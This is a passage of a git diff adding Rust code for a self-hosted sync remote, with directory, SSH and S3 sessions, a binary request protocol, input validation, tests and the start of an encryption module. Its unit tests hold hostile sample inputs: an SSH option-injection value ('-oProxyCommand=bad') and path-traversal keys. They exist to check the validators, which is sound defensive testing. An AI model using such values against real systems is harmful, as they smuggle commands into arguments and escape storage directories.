self.active_ref.clone(); + match &mut self.inner { + SessionInner::Directory { root, lock } => { + anyhow::ensure!(lock.is_none(), "remote writer lock is already held"); + let path = root.join(lock_relative_path(ref_name.as_deref())); + if let Some(parent) = path.parent() { + ensure_durable_directory(parent)?; + } + let file = OpenOptions::new() + .create(true) + .truncate(false) + .read(true) + .write(true) + .open(path)?; + file.try_lock_exclusive() + .context("another sync operation is updating the remote")?; + *lock = Some(file); + Ok(()) + } + SessionInner::Ssh { + input, + output, + locked, + .. + } => { + anyhow::ensure!(!*locked, "remote writer lock is already held"); + request( + input.as_mut().context("SSH helper input is closed")?, + OP_LOCK, + ref_name.as_deref().unwrap_or(""), + &[], + )?; + read_ok_response(output, MAX_ERROR_BYTES as u64)?; + *locked = true; + Ok(()) + } + SessionInner::S3(session) => session.begin_writer(&head_key(ref_name.as_deref())), + } + } + + pub fn end_writer(&mut self) -> anyhow::Result<()> { + match &mut self.inner { + SessionInner::Directory { lock, .. } => { + if let Some(file) = lock.take() { + FileExt::unlock(&file)?; + } + Ok(()) + } + SessionInner::Ssh { + input, + output, + locked, + .. + } => { + if !*locked { + return Ok(()); + } + request( + input.as_mut().context("SSH helper input is closed")?, + OP_UNLOCK, + "", + &[], + )?; + read_ok_response(output, MAX_ERROR_BYTES as u64)?; + *locked = false; + Ok(()) + } + SessionInner::S3(session) => { + session.end_writer(); + Ok(()) + } + } + } + + pub fn exists(&mut self, key: &str) -> anyhow::Result { + validate_key(key)?; + match &mut self.inner { + SessionInner::Directory { root, .. } => Ok(root.join(key).is_file()), + SessionInner::Ssh { input, output, .. } => { + request( + input.as_mut().context("SSH helper input is closed")?, + OP_EXISTS, + key, + &[], + )?; + let payload = read_ok_response(output, 1)?; + anyhow::ensure!(payload.len() == 1, "invalid SSH exists response"); + Ok(payload[0] != 0) + } + SessionInner::S3(session) => session.exists(key), + } + } + + pub fn read(&mut self, key: &str, limit: u64) -> anyhow::Result> { + validate_key(key)?; + anyhow::ensure!(limit <= MAX_OBJECT_BYTES, "invalid remote read limit"); + let bytes = match &mut self.inner { + SessionInner::Directory { root, .. } => read_remote_value(root, key, limit), + SessionInner::Ssh { input, output, .. } => { + request( + input.as_mut().context("SSH helper input is closed")?, + OP_READ, + key, + &limit.to_le_bytes(), + )?; + read_ok_response(output, limit) + } + SessionInner::S3(session) => session.read(key, limit), + }?; + if key == head_key(self.active_ref.as_deref()) { + self.last_head_hash = Some(*blake3::hash(&bytes).as_bytes()); + } + Ok(bytes) + } + + pub fn read_many( + &mut self, + values: &[(String, u64)], + mut handle: impl FnMut(usize, Vec) -> anyhow::Result<()>, + ) -> anyhow::Result<()> { + for (key, limit) in values { + validate_key(key)?; + anyhow::ensure!(*limit <= key_limit(key)?, "invalid remote read limit"); + } + match &mut self.inner { + SessionInner::Directory { root, .. } => { + for (index, (key, limit)) in values.iter().enumerate() { + handle(index, read_remote_value(root, key, *limit)?)?; + } + } + SessionInner::Ssh { input, output, .. } => { + let input = input.as_mut().context("SSH helper input is closed")?; + for (key, limit) in values { + request(input, OP_READ, key, &limit.to_le_bytes())?; + } + for (index, (_, limit)) in values.iter().enumerate() { + handle(index, read_ok_response(output, *limit)?)?; + } + } + SessionInner::S3(session) => { + for (index, (key, limit)) in values.iter().enumerate() { + handle(index, session.read(key, *limit)?)?; + } + } + } + Ok(()) + } + + pub fn write(&mut self, key: &str, bytes: &[u8]) -> anyhow::Result<()> { + validate_key(key)?; + let limit = key_limit(key)?; + anyhow::ensure!( + bytes.len() as u64 <= limit, + "remote value exceeds its size limit" + ); + let result = match &mut self.inner { + SessionInner::Directory { root, lock } => { + anyhow::ensure!(lock.is_some(), "remote write requires the writer lock"); + atomic_write(&root.join(key), bytes) + } + SessionInner::Ssh { input, output, .. } => { + request( + input.as_mut().context("SSH helper input is closed")?, + OP_WRITE, + key, + bytes, + )?; + read_ok_response(output, MAX_ERROR_BYTES as u64)?; + Ok(()) + } + SessionInner::S3(session) => session.write(key, bytes), + }; + if result.is_ok() && key == head_key(self.active_ref.as_deref()) { + self.last_head_hash = Some(*blake3::hash(bytes).as_bytes()); + } + result + } + + pub fn write_many(&mut self, values: &[(String, Vec)]) -> anyhow::Result<()> { + for (key, bytes) in values { + validate_key(key)?; + anyhow::ensure!( + bytes.len() as u64 <= key_limit(key)?, + "remote value exceeds its size limit" + ); + } + match &mut self.inner { + SessionInner::Directory { root, lock } => { + anyhow::ensure!(lock.is_some(), "remote write requires the writer lock"); + for (key, bytes) in values { + atomic_write(&root.join(key), bytes)?; + } + Ok(()) + } + SessionInner::Ssh { input, output, .. } => { + let input = input.as_mut().context("SSH helper input is closed")?; + let capacity = 4 + values + .iter() + .map(|(key, bytes)| 2 + 8 + key.len() + bytes.len()) + .sum::(); + let mut frame = Vec::with_capacity(capacity); + frame.extend_from_slice(&(values.len() as u32).to_le_bytes()); + for (key, bytes) in values { + frame.extend_from_slice(&(key.len() as u16).to_le_bytes()); + frame.extend_from_slice(&(bytes.len() as u64).to_le_bytes()); + frame.extend_from_slice(key.as_bytes()); + frame.extend_from_slice(bytes); + } + anyhow::ensure!( + frame.len() as u64 <= MAX_FRAME_BYTES, + "remote frame is too large" + ); + request(input, OP_WRITE_FRAME, "", &frame)?; + read_ok_response(output, MAX_ERROR_BYTES as u64)?; + Ok(()) + } + SessionInner::S3(session) => { + for (key, bytes) in values { + session.write(key, bytes)?; + } + Ok(()) + } + } + } + + pub fn has_objects(&mut self, ids: &[ObjectId]) -> anyhow::Result> { + anyhow::ensure!( + ids.len() <= MAX_HAVE_BATCH, + "remote have batch is too large" + ); + match &mut self.inner { + SessionInner::Directory { root, .. } => Ok(ids + .iter() + .map(|id| root.join(object_key(id)).is_file()) + .collect()), + SessionInner::Ssh { input, output, .. } => { + let mut payload = Vec::with_capacity(4 + ids.len() * 32); + payload.extend_from_slice(&(ids.len() as u32).to_le_bytes()); + for id in ids { + payload.extend_from_slice(id); + } + request( + input.as_mut().context("SSH helper input is closed")?, + OP_HAS_OBJECTS, + "", + &payload, + )?; + let response = read_ok_response(output, ids.len() as u64)?; + anyhow::ensure!(response.len() == ids.len(), "invalid SSH have response"); + Ok(response.into_iter().map(|value| value != 0).collect()) + } + SessionInner::S3(session) => session.has_objects(ids), + } + } + + pub fn wait_for_head_change(&mut self, timeout: Duration) -> anyhow::Result { + let ref_name = self.active_ref.clone(); + let timeout = if matches!(&self.inner, SessionInner::S3(_)) { + timeout + } else { + timeout.min(Duration::from_secs(1)) + }; + let timeout_ms = timeout.as_millis().min(30_000) as u64; + let Some(known) = self.last_head_hash else { + std::thread::sleep(timeout); + return Ok(HeadChange { + changed: true, + notify_ms: None, + }); + }; + match &mut self.inner { + SessionInner::Directory { root, .. } => { + let notify_ms = wait_for_head_hash_change( + root, + &known, + timeout_ms, + &head_key(ref_name.as_deref()), + )?; + Ok(HeadChange { + changed: notify_ms.is_some(), + notify_ms, + }) + } + SessionInner::Ssh { input, output, .. } => { + let mut payload = Vec::with_capacity(40); + payload.extend_from_slice(&timeout_ms.to_le_bytes()); + payload.extend_from_slice(&known); + request( + input.as_mut().context("SSH helper input is closed")?, + OP_WAIT_HEAD, + ref_name.as_deref().unwrap_or(""), + &payload, + )?; + let response = read_ok_response(output, 9)?; + anyhow::ensure!(response.len() == 9, "invalid SSH notification response"); + let changed = response[0] != 0; + let measured = u64::from_le_bytes(response[1..].try_into().unwrap()); + Ok(HeadChange { + changed, + notify_ms: (changed && measured != u64::MAX).then_some(measured), + }) + } + SessionInner::S3(session) => { + std::thread::sleep(timeout); + let bytes = session.read(&head_key(ref_name.as_deref()), MAX_METADATA_BYTES)?; + Ok(HeadChange { + changed: blake3::hash(&bytes).as_bytes() != &known, + notify_ms: None, + }) + } + } + } +} + +impl Drop for Session { + fn drop(&mut self) { + match &mut self.inner { + SessionInner::Directory { lock, .. } => { + if let Some(file) = lock.take() { + let _ = FileExt::unlock(&file); + } + } + SessionInner::Ssh { child, input, .. } => { + if let Some(mut input) = input.take() { + let _ = input.flush(); + drop(input); + } + for _ in 0..50 { + if child.try_wait().ok().flatten().is_some() { + return; + } + std::thread::sleep(std::time::Duration::from_millis(10)); + } + let _ = child.kill(); + let _ = child.wait(); + } + SessionInner::S3(_) => {} + } + } +} + +pub fn serve(namespace: &str) -> anyhow::Result<()> { + validate_namespace(namespace)?; + let root = remote_helper_root()?.join(namespace); + ensure_durable_directory(&root.join("objects"))?; + let mut input = BufReader::new(std::io::stdin().lock()); + let mut output = BufWriter::new(std::io::stdout().lock()); + let mut lock: Option = None; + loop { + let Some(frame) = read_request(&mut input)? else { + break; + }; + let result = handle_request(&root, &mut lock, frame.op, &frame.key, &frame.payload); + match result { + Ok(payload) => write_response(&mut output, STATUS_OK, &payload)?, + Err(error) => { + let message = error.to_string(); + let bytes = message.as_bytes(); + write_response( + &mut output, + STATUS_ERROR, + &bytes[..bytes.len().min(MAX_ERROR_BYTES)], + )?; + } + } + } + Ok(()) +} + +struct RequestFrame { + op: u8, + key: String, + payload: Vec, +} + +fn read_request(input: &mut impl Read) -> anyhow::Result> { + let mut magic = [0_u8; 5]; + match input.read_exact(&mut magic) { + Ok(()) => {} + Err(error) if error.kind() == std::io::ErrorKind::UnexpectedEof => return Ok(None), + Err(error) => return Err(error.into()), + } + anyhow::ensure!(&magic == REQUEST_MAGIC, "invalid remote request header"); + let mut fixed = [0_u8; 11]; + input.read_exact(&mut fixed)?; + let op = fixed[0]; + let key_len = u16::from_le_bytes(fixed[1..3].try_into().unwrap()) as usize; + let payload_len = u64::from_le_bytes(fixed[3..11].try_into().unwrap()); + anyhow::ensure!(key_len <= MAX_KEY_BYTES, "remote request key is too long"); + let max_payload = match op { + OP_EXISTS | OP_LOCK | OP_UNLOCK | OP_PING => 0, + OP_WAIT_HEAD => 40, + OP_READ => 8, + OP_WRITE => MAX_OBJECT_BYTES, + OP_HAS_OBJECTS => 4 + (MAX_HAVE_BATCH * 32) as u64, + OP_WRITE_FRAME => MAX_FRAME_BYTES, + _ => anyhow::bail!("unknown remote operation"), + }; + anyhow::ensure!( + payload_len <= max_payload, + "remote request payload is too large" + ); + let mut key = vec![0_u8; key_len]; + input.read_exact(&mut key)?; + let key = String::from_utf8(key).context("remote request key is not UTF-8")?; + if !key.is_empty() { + // OP_LOCK and OP_WAIT_HEAD carry a ref name rather than a full + // storage key: the server derives the actual lock file / head key + // from it, scoping concurrent writers and followers per ref. + if matches!(op, OP_LOCK | OP_WAIT_HEAD) { + validate_ref(&key)?; + } else { + validate_key(&key)?; + } + } + if op == OP_WRITE { + anyhow::ensure!(payload_len <= key_limit(&key)?, "remote value is too large"); + } + let mut payload = vec![0_u8; payload_len as usize]; + input.read_exact(&mut payload)?; + Ok(Some(RequestFrame { op, key, payload })) +} + +fn handle_request( + root: &Path, + lock: &mut Option, + op: u8, + key: &str, + payload: &[u8], +) -> anyhow::Result> { + match op { + OP_EXISTS => Ok(vec![root.join(key).is_file() as u8]), + OP_READ => { + let limit = u64::from_le_bytes(payload.try_into().context("invalid read limit")?); + anyhow::ensure!(limit <= key_limit(key)?, "invalid remote read limit"); + read_remote_value(root, key, limit) + } + OP_WRITE => { + anyhow::ensure!(lock.is_some(), "remote write requires the writer lock"); + anyhow::ensure!( + payload.len() as u64 <= key_limit(key)?, + "remote value is too large" + ); + atomic_write(&root.join(key), payload)?; + Ok(Vec::new()) + } + OP_LOCK => { + anyhow::ensure!(lock.is_none(), "remote writer lock is already held"); + let ref_name = (!key.is_empty()).then_some(key); + let path = root.join(lock_relative_path(ref_name)); + if let Some(parent) = path.parent() { + ensure_durable_directory(parent)?; + } + let file = OpenOptions::new() + .create(true) + .truncate(false) + .read(true) + .write(true) + .open(path)?; + file.try_lock_exclusive() + .context("another sync operation is updating the remote")?; + *lock = Some(file); + Ok(Vec::new()) + } + OP_UNLOCK => { + if let Some(file) = lock.take() { + FileExt::unlock(&file)?; + } + Ok(Vec::new()) + } + OP_PING => Ok(Vec::new()), + OP_WAIT_HEAD => { + anyhow::ensure!(payload.len() == 40, "invalid wait request"); + let timeout_ms = u64::from_le_bytes(payload[..8].try_into().unwrap()).min(30_000); + let known: [u8; 32] = payload[8..].try_into().unwrap(); + let ref_name = (!key.is_empty()).then_some(key); + let notify_ms = + wait_for_head_hash_change(root, &known, timeout_ms, &head_key(ref_name))?; + let mut response = Vec::with_capacity(9); + response.push(notify_ms.is_some() as u8); + response.extend_from_slice(¬ify_ms.unwrap_or(u64::MAX).to_le_bytes()); + Ok(response) + } + OP_HAS_OBJECTS => { + anyhow::ensure!(payload.len() >= 4, "invalid have request"); + let count = u32::from_le_bytes(payload[..4].try_into().unwrap()) as usize; + anyhow::ensure!(count <= MAX_HAVE_BATCH, "have request is too large"); + anyhow::ensure!( + payload.len() == 4 + count * 32, + "invalid have request length" + ); + Ok(payload[4..] + .chunks_exact(32) + .map(|id| { + let mut object = [0_u8; 32]; + object.copy_from_slice(id); + root.join(object_key(&object)).is_file() as u8 + }) + .collect()) + } + OP_WRITE_FRAME => { + anyhow::ensure!(lock.is_some(), "remote write requires the writer lock"); + let values = decode_write_frame(payload)?; + write_packed_frame(root, payload, &values)?; + Ok(Vec::new()) + } + _ => anyhow::bail!("unknown remote operation"), + } +} + +fn request(output: &mut impl Write, op: u8, key: &str, payload: &[u8]) -> anyhow::Result<()> { + anyhow::ensure!(key.len() <= MAX_KEY_BYTES, "remote key is too long"); + output.write_all(REQUEST_MAGIC)?; + output.write_all(&[op])?; + output.write_all(&(key.len() as u16).to_le_bytes())?; + output.write_all(&(payload.len() as u64).to_le_bytes())?; + output.write_all(key.as_bytes())?; + output.write_all(payload)?; + output.flush()?; + Ok(()) +} + +fn write_response(output: &mut impl Write, status: u8, payload: &[u8]) -> anyhow::Result<()> { + output.write_all(RESPONSE_MAGIC)?; + output.write_all(&[status])?; + output.write_all(&(payload.len() as u64).to_le_bytes())?; + output.write_all(payload)?; + output.flush()?; + Ok(()) +} + +fn read_ok_response(input: &mut impl Read, limit: u64) -> anyhow::Result> { + let mut header = [0_u8; 14]; + input + .read_exact(&mut header) + .context("SSH sync helper exited")?; + anyhow::ensure!( + &header[..5] == RESPONSE_MAGIC, + "invalid SSH response header" + ); + let status = header[5]; + let length = u64::from_le_bytes(header[6..14].try_into().unwrap()); + let allowed = if status == STATUS_OK { + limit + } else { + MAX_ERROR_BYTES as u64 + }; + anyhow::ensure!(length <= allowed, "SSH response exceeds its size limit"); + let mut payload = vec![0_u8; length as usize]; + input.read_exact(&mut payload)?; + if status == STATUS_OK { + Ok(payload) + } else { + anyhow::bail!("remote helper: {}", String::from_utf8_lossy(&payload)) + } +} + +fn elapsed_ms(started: Instant) -> u64 { + started.elapsed().as_millis().try_into().unwrap_or(u64::MAX) +} + +fn wait_for_head_hash_change( + root: &Path, + known: &[u8; 32], + timeout_ms: u64, + head_key: &str, +) -> anyhow::Result> { + let deadline = Instant::now() + Duration::from_millis(timeout_ms); + loop { + if let Ok(bytes) = read_remote_value(root, head_key, MAX_METADATA_BYTES) { + if blake3::hash(&bytes).as_bytes() != known { + let modified = fs::metadata(root.join(head_key))?.modified()?; + let notify_ms = SystemTime::now() + .duration_since(modified) + .unwrap_or_default() + .as_millis() + .try_into() + .unwrap_or(u64::MAX); + return Ok(Some(notify_ms)); + } + } + if Instant::now() >= deadline { + return Ok(None); + } + std::thread::sleep(Duration::from_millis(20)); + } +} + +pub(crate) fn object_key(id: &ObjectId) -> String { + let value = hex::encode(id); + format!("objects/{}/{}", &value[..2], &value[2..]) +} + +fn key_limit(key: &str) -> anyhow::Result { + validate_key(key)?; + Ok(if key.starts_with("objects/") { + MAX_OBJECT_BYTES + } else { + MAX_METADATA_BYTES + }) +} + +fn validate_key(key: &str) -> anyhow::Result<()> { + if matches!(key, "HEAD" | "LEASE") { + return Ok(()); + } + if let Some(rest) = key.strip_prefix("refs/") { + let (ref_name, suffix) = rest.rsplit_once('/').context("invalid remote key")?; + anyhow::ensure!(matches!(suffix, "HEAD" | "LEASE"), "invalid remote key"); + validate_ref(ref_name)?; + return Ok(()); + } + let Some(value) = key.strip_prefix("objects/") else { + anyhow::bail!("invalid remote key") + }; + anyhow::ensure!( + value.len() == 65 + && value.as_bytes()[2] == b'/' + && value.bytes().enumerate().all(|(index, byte)| index == 2 + || byte.is_ascii_hexdigit() && !byte.is_ascii_uppercase()), + "invalid remote object key" + ); + Ok(()) +} + +/// The published head key for `ref_name`. `None` is the well-known `HEAD` +/// key used before named refs existed; `Some(name)` is an independent, +/// non-contending slot nested under `refs//`. +pub(crate) fn head_key(ref_name: Option<&str>) -> String { + match ref_name { + None => "HEAD".to_owned(), + Some(name) => format!("refs/{name}/HEAD"), + } +} + +/// The single-writer lease key for `ref_name`, mirroring [`head_key`]. +pub(crate) fn lease_key(ref_name: Option<&str>) -> String { + match ref_name { + None => "LEASE".to_owned(), + Some(name) => format!("refs/{name}/LEASE"), + } +} + +/// Path, relative to the namespace root, of the advisory lock file guarding +/// writes to `ref_name`. Distinct refs use distinct lock files so concurrent +/// publishers to different refs never contend. +fn lock_relative_path(ref_name: Option<&str>) -> String { + match ref_name { + None => "LEASE.lock".to_owned(), + Some(name) => format!("refs/{name}/LEASE.lock"), + } +} + +/// Validate a `--ref` name: a safe, non-empty charset with no path +/// traversal or empty segments, so it can be nested into remote storage +/// keys and advisory lock file paths without escaping the namespace root. +pub fn validate_ref(name: &str) -> anyhow::Result<()> { + anyhow::ensure!( + !name.is_empty() && name.len() <= MAX_REF_BYTES, + "invalid sync ref name" + ); + anyhow::ensure!( + name.bytes() + .all(|byte| byte.is_ascii_alphanumeric() || matches!(byte, b'.' | b'_' | b'-' | b'/')), + "sync ref name may contain only letters, numbers, dot, dash, underscore, and slash" + ); + anyhow::ensure!( + !name.starts_with('/') && !name.ends_with('/'), + "sync ref name must not start or end with a slash" + ); + anyhow::ensure!( + name.split('/') + .all(|segment| !segment.is_empty() && segment != "." && segment != ".."), + "sync ref name must not contain empty, '.', or '..' path segments" + ); + Ok(()) +} + +pub fn validate_namespace(namespace: &str) -> anyhow::Result<()> { + anyhow::ensure!( + !namespace.is_empty() && namespace.len() <= 96, + "invalid sync namespace" + ); + anyhow::ensure!( + namespace + .bytes() + .all(|byte| byte.is_ascii_alphanumeric() || matches!(byte, b'-' | b'_' | b'.')), + "sync namespace may contain only letters, numbers, dot, dash, and underscore" + ); + anyhow::ensure!( + namespace != "." && namespace != "..", + "invalid sync namespace" + ); + Ok(()) +} + +fn validate_ssh_host(host: &str) -> anyhow::Result<()> { + anyhow::ensure!(!host.is_empty() && host.len() <= 255, "invalid SSH host"); + anyhow::ensure!(!host.starts_with('-'), "invalid SSH host"); + anyhow::ensure!( + host.bytes().all(|byte| { + byte.is_ascii_alphanumeric() + || matches!(byte, b'@' | b'.' | b'-' | b'_' | b':' | b'[' | b']' | b'%') + }), + "SSH host contains unsupported characters" + ); + Ok(()) +} + +fn remote_helper_root() -> anyhow::Result { + if let Some(root) = std::env::var_os("FURROW_REMOTE_DATA_DIR") { + return Ok(PathBuf::from(root)); + } + let directories = ProjectDirs::from("dev", "furrow", "furrow") + .context("could not determine furrow remote data directory")?; + Ok(directories.data_local_dir().join("remote-v1")) +} + +fn read_bounded(path: &Path, limit: u64) -> anyhow::Result> { + let file = fs::File::open(path)?; + let length = file.metadata()?.len(); + anyhow::ensure!(length <= limit, "remote file exceeds its size limit"); + let mut bytes = Vec::with_capacity(length as usize); + file.take(limit + 1).read_to_end(&mut bytes)?; + anyhow::ensure!( + bytes.len() as u64 <= limit, + "remote file exceeds its size limit" + ); + Ok(bytes) +} + +fn decode_write_frame(payload: &[u8]) -> anyhow::Result> { + anyhow::ensure!(payload.len() >= 4, "invalid remote write frame"); + let count = u32::from_le_bytes(payload[..4].try_into().unwrap()) as usize; + anyhow::ensure!( + count <= MAX_HAVE_BATCH, + "remote write frame has too many objects" + ); + let mut cursor = 4_usize; + let mut values = Vec::with_capacity(count); + for _ in 0..count { + anyhow::ensure!(cursor + 10 <= payload.len(), "truncated remote write frame"); + let key_len = u16::from_le_bytes(payload[cursor..cursor + 2].try_into().unwrap()) as usize; + let value_len = u64::from_le_bytes(payload[cursor + 2..cursor + 10].try_into().unwrap()); + cursor += 10; + anyhow::ensure!(key_len <= MAX_KEY_BYTES, "remote frame key is too long"); + let value_len = usize::try_from(value_len).context("remote frame value is too large")?; + let end = cursor + .checked_add(key_len) + .and_then(|value| value.checked_add(value_len)) + .context("remote frame length overflow")?; + anyhow::ensure!(end <= payload.len(), "truncated remote write frame"); + let key = std::str::from_utf8(&payload[cursor..cursor + key_len])?.to_owned(); + cursor += key_len; + validate_key(&key)?; + anyhow::ensure!( + value_len as u64 <= key_limit(&key)?, + "remote frame value is too large" + ); + values.push((key, &payload[cursor..cursor + value_len])); + cursor += value_len; + } + anyhow::ensure!( + cursor == payload.len(), + "remote write frame has trailing bytes" + ); + Ok(values) +} + +fn atomic_write_relaxed(path: &Path, bytes: &[u8]) -> anyhow::Result<()> { + let parent = path.parent().context("remote object has no parent")?; + ensure_durable_directory(parent)?; + let mut temporary = tempfile::NamedTempFile::new_in(parent)?; + temporary.write_all(bytes)?; + temporary.persist(path).map_err(|error| error.error)?; + Ok(()) +} + +fn write_packed_frame( + root: &Path, + payload: &[u8], + values: &[(String, &[u8])], +) -> anyhow::Result<()> { + let frame_id = hex::encode(blake3::hash(payload).as_bytes()); + let frame_key = format!("frames/{frame_id}"); + let frame_path = root.join(&frame_key); + if !frame_path.is_file() { + atomic_write(&frame_path, payload)?; + } + let payload_start = payload.as_ptr() as usize; + let mut parents = BTreeSet::new(); + for (key, bytes) in values { + let offset = (bytes.as_ptr() as usize) + .checked_sub(payload_start) + .context("frame value is outside its payload")? as u64; + let mut pointer = Vec::with_capacity(85); + pointer.extend_from_slice(FRAME_POINTER_MAGIC); + pointer.extend_from_slice(frame_id.as_bytes()); + pointer.extend_from_slice(&offset.to_le_bytes()); + pointer.extend_from_slice(&(bytes.len() as u64).to_le_bytes()); + let path = root.join(key); + atomic_write_relaxed(&path, &pointer)?; + parents.insert( + path.parent() + .context("remote pointer has no parent")? + .to_owned(), + ); + } + for parent in parents { + fs::File::open(parent)?.sync_all()?; + } + fs::File::open(root)?.sync_all()?; + Ok(()) +} + +fn read_remote_value(root: &Path, key: &str, limit: u64) -> anyhow::Result> { + let pointer = read_bounded(&root.join(key), limit.max(85))?; + if !pointer.starts_with(FRAME_POINTER_MAGIC) { + anyhow::ensure!( + pointer.len() as u64 <= limit, + "remote file exceeds its size limit" + ); + return Ok(pointer); + } + anyhow::ensure!(pointer.len() == 85, "invalid remote frame pointer"); + let frame_id = std::str::from_utf8(&pointer[5..69])?; + anyhow::ensure!( + frame_id.len() == 64 + && frame_id + .bytes() + .all(|byte| byte.is_ascii_hexdigit() && !byte.is_ascii_uppercase()), + "invalid remote frame ID" + ); + let offset = u64::from_le_bytes(pointer[69..77].try_into().unwrap()); + let length = u64::from_le_bytes(pointer[77..85].try_into().unwrap()); + anyhow::ensure!(length <= limit, "remote frame value exceeds its size limit"); + let mut frame = fs::File::open(root.join("frames").join(frame_id))?; + let frame_len = frame.metadata()?.len(); + anyhow::ensure!( + offset + .checked_add(length) + .is_some_and(|end| end <= frame_len), + "remote frame pointer is out of bounds" + ); + frame.seek(SeekFrom::Start(offset))?; + let mut bytes = vec![0; length as usize]; + frame.read_exact(&mut bytes)?; + Ok(bytes) +} + +fn atomic_write(path: &Path, bytes: &[u8]) -> anyhow::Result<()> { + let parent = path.parent().context("remote object has no parent")?; + ensure_durable_directory(parent)?; + let mut temporary = tempfile::NamedTempFile::new_in(parent)?; + temporary.write_all(bytes)?; + temporary.as_file().sync_all()?; + temporary.persist(path).map_err(|error| error.error)?; + fs::File::open(parent)?.sync_all()?; + Ok(()) +} + +fn ensure_durable_directory(path: &Path) -> anyhow::Result<()> { + if path.is_dir() { + return Ok(()); + } + let parent = path.parent().context("directory has no parent")?; + ensure_durable_directory(parent)?; + match fs::create_dir(path) { + Ok(()) => {} + Err(error) if error.kind() == std::io::ErrorKind::AlreadyExists && path.is_dir() => {} + Err(error) => return Err(error.into()), + } + fs::File::open(path)?.sync_all()?; + fs::File::open(parent)?.sync_all()?; + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn helper_protocol_round_trips_and_rejects_unlocked_writes() { + let temporary = tempfile::tempdir().unwrap(); + let root = temporary.path().join("remote"); + ensure_durable_directory(&root.join("objects")).unwrap(); + let mut lock = None; + assert!(handle_request(&root, &mut lock, OP_WRITE, "HEAD", b"x").is_err()); + handle_request(&root, &mut lock, OP_LOCK, "", &[]).unwrap(); + handle_request(&root, &mut lock, OP_WRITE, "HEAD", b"value").unwrap(); + assert_eq!( + handle_request( + &root, + &mut lock, + OP_READ, + "HEAD", + &MAX_METADATA_BYTES.to_le_bytes() + ) + .unwrap(), + b"value" + ); + } + + #[test] + fn validates_opaque_keys_and_ssh_hosts() { + let id = [9_u8; 32]; + assert!(validate_key(&object_key(&id)).is_ok()); + assert!(validate_key("objects/../../HEAD").is_err()); + assert!(validate_ssh_host("developer@example.com").is_ok()); + assert!(validate_ssh_host("-oProxyCommand=bad").is_err()); + } + + #[test] + fn directory_sessions_hold_the_writer_lock_until_drop() { + let temporary = tempfile::tempdir().unwrap(); + let spec = RemoteSpec::Directory(temporary.path().to_owned()); + let mut first = Session::open(&spec, "project").unwrap(); + let mut second = Session::open(&spec, "project").unwrap(); + assert!(first.write("HEAD", b"unlocked").is_err()); + first.begin_writer().unwrap(); + assert!(second.begin_writer().is_err()); + first.write("HEAD", b"locked").unwrap(); + drop(first); + second.begin_writer().unwrap(); + assert_eq!(second.read("HEAD", 32).unwrap(), b"locked"); + } + + #[test] + fn validates_ref_names() { + assert!(validate_ref("team-a").is_ok()); + assert!(validate_ref("team/a.b_c-9").is_ok()); + assert!(validate_ref("").is_err()); + assert!(validate_ref(&"x".repeat(200)).is_err()); + assert!(validate_ref("/leading").is_err()); + assert!(validate_ref("trailing/").is_err()); + assert!(validate_ref("a//b").is_err()); + assert!(validate_ref("../escape").is_err()); + assert!(validate_ref("a/../b").is_err()); + assert!(validate_ref("a/./b").is_err()); + assert!(validate_ref("has space").is_err()); + assert!(validate_ref("has:colon").is_err()); + } + + #[test] + fn validate_key_accepts_ref_scoped_head_and_lease_keys() { + assert!(validate_key(&head_key(None)).is_ok()); + assert!(validate_key(&lease_key(None)).is_ok()); + assert!(validate_key(&head_key(Some("team-a"))).is_ok()); + assert!(validate_key(&lease_key(Some("team-a"))).is_ok()); + assert!(validate_key(&head_key(Some("nested/team"))).is_ok()); + assert!(validate_key("refs/../HEAD").is_err()); + assert!(validate_key("refs/team-a/LOCK").is_err()); + } + + #[test] + fn named_refs_on_a_directory_remote_use_independent_lock_files() { + let temporary = tempfile::tempdir().unwrap(); + let spec = RemoteSpec::Directory(temporary.path().to_owned()); + let mut team_a = Session::open(&spec, "project").unwrap(); + team_a.set_ref(Some("team-a")).unwrap(); + team_a.begin_writer().unwrap(); + + // A concurrent writer on a different ref must not contend for the + // same advisory lock file. + let mut team_b = Session::open(&spec, "project").unwrap(); + team_b.set_ref(Some("team-b")).unwrap(); + team_b.begin_writer().unwrap(); + + // A second writer on the SAME ref is still correctly refused. + let mut team_a_again = Session::open(&spec, "project").unwrap(); + team_a_again.set_ref(Some("team-a")).unwrap(); + assert!(team_a_again.begin_writer().is_err()); + + team_a.write(&head_key(Some("team-a")), b"a-value").unwrap(); + team_b.write(&head_key(Some("team-b")), b"b-value").unwrap(); + team_a.end_writer().unwrap(); + team_b.end_writer().unwrap(); + + assert_eq!( + team_a.read(&head_key(Some("team-a")), 32).unwrap(), + b"a-value" + ); + assert_eq!( + team_b.read(&head_key(Some("team-b")), 32).unwrap(), + b"b-value" + ); + // The default, ref-less HEAD key is untouched. + assert!(!team_a.exists("HEAD").unwrap()); + } +} diff --git a/engine/furrow-core/src/remote_crypto.rs b/engine/furrow-core/src/remote_crypto.rs new file mode 100644 index 0000000000..b2880b88cb --- /dev/null +++ b/engine/furrow-core/src/remote_crypto.rs @@ -0,0 +1,265 @@ +//! Opaque remote identity and authenticated encryption for self-hosted sync. + +use crate::model::{ObjectId, ObjectKind}; +use crate::store::object_id; +use anyhow::Context; +use chacha20poly1305::aead::{Aead, KeyInit, Payload}; +use chacha20poly1305::{Key, XChaCha20Poly1305, XNonce}; +use zeroize::{Zeroize, Zeroizing}; + +const OBJECT_MAGIC: &[u8; 5] = b"AGEO\x01"; +const HEAD_MAGIC: &[u8; 5] = b"AGEH\x01"; +const NONCE_LEN: usize = 24; +const MAX_METADATA_LEN: usize = 1024 * 1024; + +pub struct RemoteCrypto { + key: [u8; 32], +} + +impl RemoteCrypto { + pub fn new(key: [u8; 32]) -> Self { + Self { key } + } + + pub fn generate_key() -> anyhow::Result<[u8; 32]> { + let mut key = [0; 32]; + getrandom::getrandom(&mut key) + .map_err(|error| anyhow::anyhow!("generate sync key: {error}"))?; + Ok(key) + } + + pub fn remote_id(&self, id: &ObjectId) -> ObjectId { + let mut hasher = blake3::Hasher::new_keyed(&self.key); + hasher.update(b"furrow:remote-id:v1\0"); + hasher.update(id); + *hasher.finalize().as_bytes() + } + + pub fn encrypt_object( + &self, + id: &ObjectId, + kind: ObjectKind, + bytes: &[u8], + ) -> anyhow::Result> { + anyhow::ensure!( + object_id(kind, bytes) == *id, + "object ID does not match bytes" + ); + self.seal_with(&self.remote_id(id), &self.object_nonce(id), id, kind, bytes) + } + + /// Frames `kind ‖ id ‖ bytes` under an explicit remote id and nonce. + /// The caller has already checked that `id` names `bytes`. + pub(crate) fn seal_with( + &self, + remote_id: &ObjectId, + nonce: &[u8; NONCE_LEN], + id: 